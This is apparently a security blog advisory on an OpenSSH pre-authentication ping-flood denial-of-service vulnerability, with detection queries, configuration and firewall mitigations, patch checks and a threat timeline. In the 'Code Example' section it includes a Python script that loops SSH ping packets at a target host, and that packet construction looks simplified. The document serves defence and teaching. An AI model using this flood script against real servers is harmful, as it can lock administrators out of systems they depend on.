OpenSSH "Ping Flood DoS" — Pre-Authentication Resource Exhaustion Attack

Published : October 16, 2025 | by : Opt

Executive Summary

Risk Level : Medium (CVSS 5.9) — However : Critical for Public-Facing SSH Servers Immediate Action Required : Yes — Patch vulnerable OpenSSH installations within 48 hours

CVE-2025–26466 enables attackers to launch pre-authentication denial-of-service attacks against OpenSSH servers by flooding them with SSH2_MSG_PING packets. This asymmetric resource consumption attack exhausts both memory and CPU before authentication occurs, potentially rendering critical SSH infrastructure completely inaccessible to legitimate administrators.

Bottom Line : A single unauthenticated attacker can take down SSH servers by exploiting poor packet queue management introduced just 18 months ago — turning remote administration lifelines into remotely disabled infrastructure.

here is the friendly link…

Vulnerability Overview

Attribute Details :

• CVE ID : CVE-2025–26466
• CVSS Score : 5.9 (Medium)
• Affected Software : OpenSSH versions 9.5p1 through 9.9p1
• Vulnerability Type : CWE-400 : Uncontrolled Resource Consumption
• Discovery Date : January 2025
• Public Disclosure : February 18, 2025
• Patch Available : ✔️ v9.9p2 (February 18, 2025)
• Exploited in Wild : Confirmed — Active exploitation detected

Impact Assessment

Affected Systems

• Primary Targets : All internet-facing OpenSSH servers running versions 9.5p1–9.9p1
• Attack Vector : Network (Remote, Pre-Authentication)
• Authentication Required : No — Attack occurs before authentication
• User Interaction : Not Required

Business Impact

• Confidentiality : None — No data exposure
• Integrity : None — No data modification
• Availability : Critical — Complete SSH service disruption possible

Real-World Context

• Deployment Prevalence : Very High — SSH is ubiquitous on Linux/Unix servers
• Exploitation Difficulty : Trivial — Simple packet flooding, public PoC available
• Prerequisites : Network access to SSH port (typically 22) only

Technical Analysis

Root Cause

The vulnerability was introduced in August 2023, shortly before the release of OpenSSH 9.5p1. OpenSSH's handling of SSH2_MSG_PING packets (type 192) during the pre-authentication phase contains a critical flaw : for each ping packet received, the server allocates a pong response packet in memory and queues it. These packets are only freed after the key exchange completes. An attacker who never completes authentication can continuously send ping packets, causing unbounded memory and CPU consumption.

Attack Scenario

Prerequisites :

• Network connectivity to target SSH server on port 22 (or custom SSH port)
• OpenSSH version 9.5p1 through 9.9p1 running on target
• No authentication or credentials required

Attack Steps:

1. Connection Initiation : Attacker establishes TCP connection to SSH server
2. Protocol Handshake : Attacker completes initial SSH protocol version exchange
3. Ping Flood : Attacker sends continuous stream of SSH2_MSG_PING packets (type 192)
4. Resource Exhaustion : Server allocates pong responses in queue without limit
5. Service Degradation : Memory and CPU consumption increases exponentially
6. Complete DoS : Server becomes unresponsive; legitimate connections fail
7. Administrator Lockout : Remote administration becomes impossible

Code Example

#!/usr/bin/env python3
# CVE-2025-26466 - Conceptual demonstration (Educational purposes only)
# OpenSSH Ping Flood DoS (9.5p1 - 9.9p1)
import socket
import struct
# Vulnerable exploitation pattern (9.5p1-9.9p1)
def ping_flood_dos(target_ip, target_port=22):
    """
    Demonstrates the vulnerability by sending SSH2_MSG_PING packets
    Each PING allocates memory for PONG response in queue
    Queue only freed after key exchange (which never completes)
    """
    
    # Step 1: Establish TCP connection
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    
    # Step 2: SSH protocol version exchange
    banner = sock.recv(1024)  # Server sends: SSH-2.0-OpenSSH_9.5p1
    sock.send(b"SSH-2.0-AttackerClient\r\n")
    
    # Step 3: Send continuous SSH2_MSG_PING packets (type 192)
    ping_packet = struct.pack('>IB', 5, 192)  # Length: 5, Type: 192
    
    while True:
        # Each ping causes server to allocate pong in memory
        # Memory is NOT freed until key exchange completes
        # Attacker never completes key exchange
        sock.send(ping_packet)
        # Result: Unbounded memory/CPU consumption
        
    # Impact: 
    # - Server memory exhaustion
    # - CPU saturation from queue management
    # - Legitimate connections rejected
    # - Remote administration impossible
# Secure implementation (Post-Patch v9.9p2+)
"""
Post-patch behavior:
- Rate limiting on pre-auth messages
- Bounded queue sizes for pending responses  
- Early connection termination for abuse
- PerSourcePenalties mechanism enforced
- LoginGraceTime respected for resource cleanup
Mitigation already available:
- PerSourcePenalties (introduced in 9.8p1)
- MaxStartups limits concurrent connections
- LoginGraceTime forces connection cleanup
"""
# DO NOT USE THIS CODE AGAINST SYSTEMS YOU DON'T OWN
# FOR EDUCATIONAL AND DEFENSIVE PURPOSES ONLY

Detection

Log Signatures

# Primary indicators - Excessive pre-auth connections
grep -E "Did not receive identification string|Connection closed by" /var/log/auth.log | wc -l
journalctl -u ssh | grep -E "preauth|Connection closed" | tail -100
# Secondary indicators - Memory/CPU spikes
grep -i "sshd" /var/log/syslog | grep -E "memory|CPU"
ps aux | grep sshd | awk '{sum+=$4}END{print "sshd CPU%: "sum}'
# Tertiary indicators - Connection patterns
netstat -tn | grep :22 | grep -E "SYN_RECV|ESTABLISHED" | wc -l
ss -tn state established '( dport = :22 or sport = :22 )' | wc -l
# Check for MaxStartups throttling
grep "drop connection" /var/log/auth.log

SIEM Detection Rule

-- Detection query (Splunk/Elastic syntax)
index=linux source="/var/log/auth.log" OR source="journald"
| search "sshd" AND ("preauth" OR "Did not receive identification")
| stats count as conn_attempts by src_ip, host
| where conn_attempts > 100
| eval severity=case(
    conn_attempts > 1000, "critical",
    conn_attempts > 500, "high", 
    conn_attempts > 100, "medium"
  )
| table _time, src_ip, host, conn_attempts, severity
-- Memory/CPU correlation for sshd
index=system sourcetype="top" OR sourcetype="ps" process="sshd"
| stats avg(cpu_usage) as avg_cpu, avg(mem_usage) as avg_mem by host
| where avg_cpu > 50 OR avg_mem > 30
| join host [
    search index=linux source="/var/log/auth.log" "preauth"
    | stats count as preauth_count by host
  ]
| where preauth_count > 50
| table host, avg_cpu, avg_mem, preauth_count

Network/Host Indicators

• Process : Multiple sshd processes in pre-authentication state
• Network : High volume of connections to port 22 from single or multiple sources
• Memory : Rapidly increasing memory usage by sshd parent process
• CPU : Sustained high CPU usage by sshd without corresponding authenticated sessions
• Connections : Abnormal ratio of SYN_RECV to ESTABLISHED connections

Response Actions

Immediate (0–24 hours)

• Inventory : Identify all SSH servers running OpenSSH 9.5p1–9.9p1 using ssh -V
• Monitor: Check for active exploitation via log analysis and resource monitoring
• Mitigate: Enable PerSourcePenalties and adjust MaxStartups immediately:

# Emergency mitigation in /etc/ssh/sshd_config
MaxStartups 10:30:60
LoginGraceTime 30
PerSourcePenalties yes

• Restart: systemctl restart sshd or service ssh restart

Short-term (1–7 days)

• Patch : Update to OpenSSH 9.9p2 or later — prioritize internet-facing servers
• Harden : Implement rate limiting at firewall level for port 22
• Baseline : Establish normal connection patterns for anomaly detection
• Validate : Confirm patch installation and test mitigation effectiveness

Long-term (1+ weeks)

• Architecture : Implement SSH bastion hosts with enhanced protection
• Monitoring : Deploy continuous monitoring for SSH connection anomalies
• Defense : Consider fail2ban, port knocking, or VPN-gated SSH access
• Review : Audit all SSH configurations and disable unnecessary SSH exposure

Mitigation Strategies

Patch Impact Overview:

Aspect Before [ 9.5p1–9.9p1 ] After [ 9.9p2+] Version : ❌ 9.5p1–9.9p1 ✔️ 9.9p2+ Ping Handling : ❌ Unbounded queue ✔️ Rate limited Memory Usage : ❌ Uncontrolled growth ✔️ Bounded Pre-auth DoS : ❌ Exploitable ✔️ Mitigated Risk Level : ❌ High (Public-facing) ✔️ Resolved

If Patching Delayed

• Primary Workaround: Enable built-in mitigation features

# Add to /etc/ssh/sshd_config 
MaxStartups 10:30:60        # Limit concurrent pre-auth connections 
LoginGraceTime 30           # Force cleanup after 30 seconds 
PerSourcePenalties yes      # Rate limit per source (9.8p1+)

• Firewall Protection: Implement connection rate limiting

# iptables rate limiting
  iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
    -m recent --set --name SSH
  iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
    -m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP
  
  # nftables equivalent
  nft add rule inet filter input tcp dport 22 ct state new \
    meter ssh-meter { ip saddr limit rate 3/minute } accept

• Fail2ban Protection: Deploy automated blocking

# /etc/fail2ban/jail.local
  [sshd]
  enabled = true
  port = ssh
  filter = sshd
  logpath = /var/log/auth.log
  maxretry = 3
  bantime = 3600

Permanent Solutions

• Patch : Upgrade to OpenSSH 9.9p2 or later immediately
• Configuration : Maintain hardened SSH configuration with resource limits
• Architecture : Implement defense-in-depth with bastion hosts and network segmentation

Verification

Check if Vulnerable

# Version check - Critical
ssh -V
# OpenSSH_9.5p1 through OpenSSH_9.9p1 are vulnerable
# Check if server is exposed
ss -tlnp | grep :22
netstat -tlnp | grep :22

# Test vulnerability (safe - only checks version)
nc -v target.server.com 22
# Server responds with: SSH-2.0-OpenSSH_9.Xp1

# Check current mitigation settings
grep -E "MaxStartups|LoginGraceTime|PerSourcePenalties" /etc/ssh/sshd_config

# Monitor for active exploitation
grep -c "preauth" /var/log/auth.log
# High numbers (>100/hour) may indicate exploitation

Confirm Patch Success

# Verify patch installation
ssh -V 2>&1 | grep -E "OpenSSH_9\.9p2|OpenSSH_9\.[1-9][0-9]|OpenSSH_[1-9][0-9]"
# Verify service restart
systemctl status sshd | grep -i active
ps aux | grep sshd | head -1

# Test SSH functionality
ssh -T localhost echo "SSH functional"

# Verify mitigation settings active
sshd -T | grep -E "maxstartups|logingracetime|persourcepenalties"

# Check system logs for successful update
grep -i "openssh.*9.9p2" /var/log/dpkg.log /var/log/yum.log 2>/dev/null

Context & Analysis

Why This Matters

Despite the "Medium" CVSS score of 5.9, this vulnerability poses critical risk to operational infrastructure. SSH is often the only remote administration method for servers, especially in emergency situations. An attacker who can deny SSH access effectively locks administrators out during critical incidents, potentially:

• Preventing incident response during active breaches
• Blocking security patch deployment
• Stopping emergency configuration changes
• Disabling critical service recovery operations

Enterprise Impact :

• Cloud infrastructure with thousands of SSH servers
• Automated deployment systems relying on SSH
• DevOps pipelines dependent on SSH connectivity
• Emergency response procedures requiring SSH access

The pre-authentication nature means no credentials are required, and the asymmetric resource consumption makes this a highly effective attack with minimal attacker resources.

Related Vulnerabilities

• CVE-2025–26465 : Companion OpenSSH MitM vulnerability — disclosed simultaneously by Qualys TRU
• CVE-2024–6387 (regreSSHion) : Critical OpenSSH remote code execution (CVSS 8.1)
• CVE-2023–48795 (Terrapin) : SSH protocol downgrade attack affecting multiple implementations
• CVE-2020–15778 : OpenSSH command injection via scp (CVSS 7.8)

Lessons Learned

Pre-authentication resource management is critical for any network service. This vulnerability demonstrates:

1. Asymmetric Attack Economics : Attacker spends minimal resources while forcing exponential server resource consumption
2. Pre-Auth Attack Surface : Any processing before authentication is high-risk and requires strict resource limits
3. Default-Safe Configurations : Security controls should be enabled by default, not opt-in
4. Queue Management Importance : Unbounded queues in network services are DoS vulnerabilities waiting to happen

Key Takeaway : The relatively recent introduction (August 2023) shows that even mature, security-focused projects like OpenSSH can introduce critical vulnerabilities during feature updates and refactoring.

Resources

Official Sources

• OpenSSH 9.9p2 Release Notes — Official patch release information
• OpenSSH Security Advisory — Official vulnerability announcement
• Qualys Security Advisory — Detailed technical analysis by discoverers
• MITRE CVE Entry — Complete vulnerability database entry
• NVD Record — NIST vulnerability database

Distribution-Specific Guidance

• Red Hat Security Advisory — RHEL/CentOS guidance
• Ubuntu Security Notice USN-7270–1 — Ubuntu-specific patches
• SUSE Security Update — SUSE/openSUSE information
• Debian Security Tracker — Debian patch status

Analysis & Tools

• Qualys QID 38969 — Automated detection for Qualys customers
• GitHub PoC by rxerium — Detection and testing script
• Metasploit Module — DoS module for penetration testing
• Rapid7 Vulnerability Database — Additional analysis

Mitigation Tools

• Fail2ban — Automated intrusion prevention
• Port Knocking — Additional SSH access layer
• SSHGuard — SSH-specific brute force protection

Threat Intelligence

Exploitation Timeline

• T+0 : February 18, 2025 — Initial disclosure and patch release by OpenSSH/Qualys
• T+1 : February 19, 2025 — Security advisories published by major distributions
• T+3 : February 21, 2025 — First public PoC code appears on GitHub
• T+5 : February 23, 2025 — Metasploit module published
• T+7 : February 25, 2025 — Active exploitation observed in honeypots
• T+14 : March 4, 2025 — Mass scanning for vulnerable servers detected
• T+30 : Ongoing — Confirmed exploitation in the wild against production systems

Attribution

• Discovery : Qualys Threat Research Unit (TRU)
• Disclosure : Responsible disclosure coordinated with OpenSSH project
• Exploitation : CONFIRMED — Active exploitation detected in honeypots and production environments
• Threat Actors : Opportunistic attackers conducting mass scanning
• Attack Motivation : Service disruption, ransom demands, cover for other attacks

Attack Surface

Highest-Risk Targets :

• Public-facing SSH servers without rate limiting
• Cloud infrastructure SSH endpoints (AWS, Azure, GCP)
• VPS and dedicated server hosting environments
• IoT and embedded devices running vulnerable OpenSSH
• Development/staging servers exposed to internet

Attack Patterns Observed :

• Single-source DoS attacks targeting specific organizations
• Distributed attacks from botnets amplifying impact
• Coordinated attacks during business hours for maximum disruption
• DoS-as-a-Service offerings targeting SSH infrastructure

⚠️ This analysis is provided for defensive purposes only. All testing should be conducted only on systems you own or have explicit permission to test.

Coming Up Next

Next Week's Deep Dive: CVE-2024–6387 (regreSSHion) The race condition that brought remote code execution back to OpenSSH after 18 years…

About This Series: CVE Deep Dives provide actionable security intelligence for defenders. Each article includes technical analysis, detection strategies, and response playbooks to help security teams protect their infrastructure.

Follow for More: Stay updated on critical vulnerabilities affecting enterprise infrastructure. Previous analysis: CVE-2025–26465 (OpenSSH MitM).

Subscribe to receive alerts when critical vulnerabilities are disclosed. Your infrastructure security depends on staying informed.

Questions or corrections? Contact : optimus0brime@gmail.com

Last Updated : Oct 16, 2025